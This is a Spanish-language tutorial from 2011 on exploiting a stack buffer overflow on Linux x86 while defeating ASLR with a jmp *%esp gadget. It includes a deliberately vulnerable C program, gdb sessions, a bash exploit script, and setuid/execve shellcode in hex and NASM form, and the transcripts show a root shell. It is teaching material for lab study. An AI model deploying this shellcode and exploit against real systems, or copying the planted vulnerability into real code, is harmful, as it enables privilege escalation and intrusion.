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It’s pretty exciting - you inject the bytes and overflow your mind.

1. Objetivo

Nuestro objetivo es crear un exploit que inyecte en un código vulnerable un shellcode linux/x86
local válido que nos devuelva una shell en un sistema que disponga de un kernel reciente con la
protección ASLR activada. Por lo tanto se requiere que el lector conozca las técnicas de explotación
de un buffer overflow clásico tal y como describió Aleph One en su ya mı́tico texto publicado en la
Phrack Vol. 49. Caṕıtulo 14.

En principio la única regla es que vale todo menos fuerza bruta.

2. Entorno

Verificamos que nos encontramos ante un sistema con la protección ASLR activada ejecutando
el siguiente fragmento adaptado del código propuesto por Tobias Klein en la versión 1.3.1 de su
script checksec.sh, descargable desde http://www.trapkit.de/tools/checksec.html

Código 1 → checksec.sh

#!/bin/bash

printf " (kernel.randomize_va_space): "

if /sbin/sysctl -a 2>/dev/null | grep -q ’kernel.randomize_va_space = 1’; then

echo -n -e ’\033[33mOn (Setting: 1)\033[m\n\n’

printf " Description - Make the addresses of mmap base, stack and VDSO page randomized.\n

"

printf " This, among other things, implies that shared libraries will be loaded to \n"

printf " random addresses. Also for PIE-linked binaries, the location of code start\n"

printf " is randomized. Heap addresses are *not* randomized.\n\n"

elif /sbin/sysctl -a 2>/dev/null | grep -q ’kernel.randomize_va_space = 2’; then

echo -n -e ’\033[32mOn (Setting: 2)\033[m\n\n’

printf " Description - Make the addresses of mmap base, heap, stack and VDSO page

randomized.\n"

printf " This, among other things, implies that shared libraries will be loaded to random

\n"

printf " addresses. Also for PIE-linked binaries, the location of code start is

randomized.\n\n"

elif /sbin/sysctl -a 2>/dev/null | grep -q ’kernel.randomize_va_space = 0’; then

echo -n -e ’\033[31mOff (Setting: 0)\033[m\n’

else

echo -n -e ’\033[31mNot supported\033[m\n’

fi

printf " See the kernel file ’Documentation/sysctl/kernel.txt’ for more details.\n\n"

Ejecutamos el script en bash, y vemos como en nuestro entorno el comando sysctl -a devuelve
kernel.randomize va space con un valor de 2, lo que indica la presencia de ASLR.

Código 2 → Comprobación ASLR

root@bt:~# ./checksec.sh

(kernel.randomize_va_space): On (Setting: 2)

Description - Make the addresses of mmap base, heap, stack and VDSO page randomized.
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This, among other things, implies that shared libraries will be loaded to random

addresses. Also for PIE-linked binaries, the location of code start is randomized.

See the kernel file ’Documentation/sysctl/kernel.txt’ for more details.

También podemos consultar el valor de dicha variable inspeccionando /proc

Código 3 → Comprobación ASLR

root@bt:~# cat /proc/sys/kernel/randomize_va_space

2

En un sistema con ASLR activo el valor del registro ESP vaŕıa a cada ejecución, lo que quiere
decir que la pila ocupa posiciones distintas de memoria a cada ejecución. Podemos comprobarlo
mediante el siguiente código en C que imprime por la salida estándar el valor del registro ESP y que
he sacado del documento Introducción a la explotación de software en sistemas Linux, por NewLog.

#include <stdio.h>

int main(int argc, char ** argv ) {

int reg_esp;

__asm__ __volatile__("mov % %esp, %0" :"=g"(reg_esp));

printf("ESP value: %p\n", (void *) reg_esp);

return 0;

}

Código 4 → isASLREnabled.c

Debido a que ASLR está activado, el registro ESP tiene unos valores distintos a cada ejecución
del programa como podemos observar a continuación.

Código 5 → Comprobación ASLR

root@bt:~# ./isASLREnabled

ESP value : 0xbfdc8140

root@bt:~# ./isASLREnabled

ESP value : 0xbfd09ad0

root@bt:~# ./isASLREnabled

ESP value : 0xbfabb960

Por último mediante el comando uname obtenemos la versión del kernel, 2.6.35.8, reciente en el
momento de escribir esto.

Código 6 → Versión del kernel

root@bt:~# uname -a

Linux bt 2.6.35.8 #1 SMP Sun Nov 14 06:32:36 EST 2010 i686 GNU/Linux

3. Análisis del programa vulnerable

vlan7@zen7 :~$ url="http ://www.youtube.com/watch?v=fcp1XddAIlo"; echo $(curl

${url %&*} 2>&1 |grep -iA2 ’<title >’ |grep ’-’) |sed ’s/^- //’

Your software is shit
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/* THIS PROGRAM IS A HACK */

#include <stdio.h>

#include <string.h>

void jmpesp() {

int cika = 58623; /* ff e4 */

/* __asm__("jmp * %esp"); ff e4 */

}

void evilcopy(char *arg) {

char buf[256];

memcpy(buf,arg,strlen(arg)); /* overflow */

}

int main (int argc, char **argv) {

if (argc>1)

{

evilcopy(argv[1]);

return 7; /* hay algo aqui que va mal */

}

}

Código 7 → vuln.c

Para lograr la evasión de ASLR podŕıamos haber insertado artificialmente en el código fuente a
explotar la instrucción jmp * %esp, según la sintaxis de la ĺınea de código comentada, pero con el fin
de presentar un ejemplo que ilustre lo que Izik llamó doble sentido he preferido declarar la variable
cika de valor 58623 en decimal, que traducido a hexadecimal seŕıa ff e4 en notación little-endian,
opcodes que corresponden a la instrucción jmp * %esp.

La protección NX se puede vulnerar al menos mediante las técnicas conocidas como ret2libc,
ROP o Borrowed Code Chunks. SSP también se puede evadir. No obstante, no es el objetivo de
este art́ıculo estudiar estas protecciones, aśı que las deshabilitamos pasándole al compilador los
siguientes parámetros.

Código 8 → no NX + no SSP

root@bt:~# gcc -o vuln vuln.c -z execstack -fno-stack-protector -g

Código 9 → buffer overflow

(gdb) r ‘perl -e ’print "7" x264’‘

Starting program: /root/vuln ‘perl -e ’print "7" x264’‘

Program received signal SIGSEGV, Segmentation fault.

0x37373737 in ?? ()

(gdb) p $eip

$1 = (void (*)()) 0x3737373

5



4. El EIP es nuestro

The instruction pointer is not directly visible to the programmer; it is

controlled implicitly by control -transfer instructions , interrupts , and

exceptions.

INTEL 80386 PROGRAMMER ’S REFERENCE MANUAL 1986

El orden en la pila de los elementos que forman el buffer es el siguiente. Primero el NOP-sled,
que bien podŕıan ser A’s, ya que no se ejecutan, seguido de la dirección de retorno, que como todo
puntero en ASM/x86 ocupa 4 bytes. Podemos obtener @RET buscando en el desensamblado del
ejecutable a explotar los opcodes ff e4, que corresponden a la instrucción jmp * %esp o al valor
decimal 58623.

Código 10 → Buscando ff e4

root@bt:~# objdump -d vuln |grep ’ff e4’

80483fa: c7 45 fc ff e4 00 00 movl $0xe4ff,-0x4( %ebp)

Sólo nos queda sumar 3 bytes a esa dirección, que es donde se encuentran los opcodes ff e4 del
ejecutable.

Código 11 → @RET

(gdb) x/1i 0x80483fd

0x80483fd <jmpesp+9>: jmp * %esp

Ese puntero a ESP, pasado a notación little-endian es @RET en nuestro payload, y nos llevará a
la ejecución de nuestro shellcode que terminaremos con un NULL que será interpretado como fin
de cadena.

Código 12 → Que el EIP sea sobreescrito

(gdb) r ‘perl -e ’print "\x90" x260; print "\xfd\x83\x04\x08"; print "\x31\xdb\x8d\x43\x17\

x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\

xcd\x80\x00";’‘

Starting program: /root/vuln ‘perl -e ’print "\x90" x260; print "\xfd\x83\x04\x08"; print "

\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\

x8d\x41\x0b\x89\xe3\xcd\x80\x00";’‘

Executing new program: /bin/bash

(no debugging symbols found)

(no debugging symbols found)

(...)

(no debugging symbols found)

(no debugging symbols found)

root@bt:/root# whoami

root

root@bt:/root# exit

Program exited normally

(gdb)
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Creemos un exploit cuyo único argumento sea @RET , pues puede cambiar de un sistema a
otro, entre otras cosas debido a las optimizaciones que aplique la versión de gcc con la que haya
sido compilado el programa vulnerable.

Código 13 → exploit.sh

#!/bin/bash

# THIS PROGRAM IS A HACK

nop=

length=260

for ((i=0; $i<$length; i++)); do

nop=$nop"\x90"

done

ret=$1

shell="\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69

\x8d\x41\x0b\x89\xe3\xcd\x80";

arg=$nop$ret$shell"\x00"

app=’./vuln’

$app ‘printf $arg‘

Código 14 → Ejecución del exploit

root@bt:~# objdump -d vuln |grep ’ff e4’

80483fa: c7 45 fc ff e4 00 00 movl $0xe4ff,-0x4( %ebp)

root@bt:~# bash exploit.sh "\xfd\x83\x04\x08"

root@bt:/root# whoami

root

Bingo.

Y a continuación se muestra el código fuente del shellcode en ASM.

El ASM se fue a pique.

Tan puro que en mi entierro sonara Eskorbuto por un PC -Speaker.

;THIS PROGRAM IS A HACK

;Coded by sch3m4 & vlan7

BITS 32

global _start

section .text

_start:

;setuid(0);

xor ebx,ebx

lea eax,[ebx+17h]

cdq
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int 80h

;execve ("/bin/sh",*"/bin/sh",(char **)NULL);

xor ecx,ecx

push ecx

push 0x68732f6e

push 0x69622f2f

lea eax,[ecx+0Bh]

mov ebx,esp

int 80h

Código 15 → shellcode codificado en NASM
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-----END PGP PUBLIC KEY BLOCK-----

Suerte,

vlan7, 27 de Febrero de 2011.
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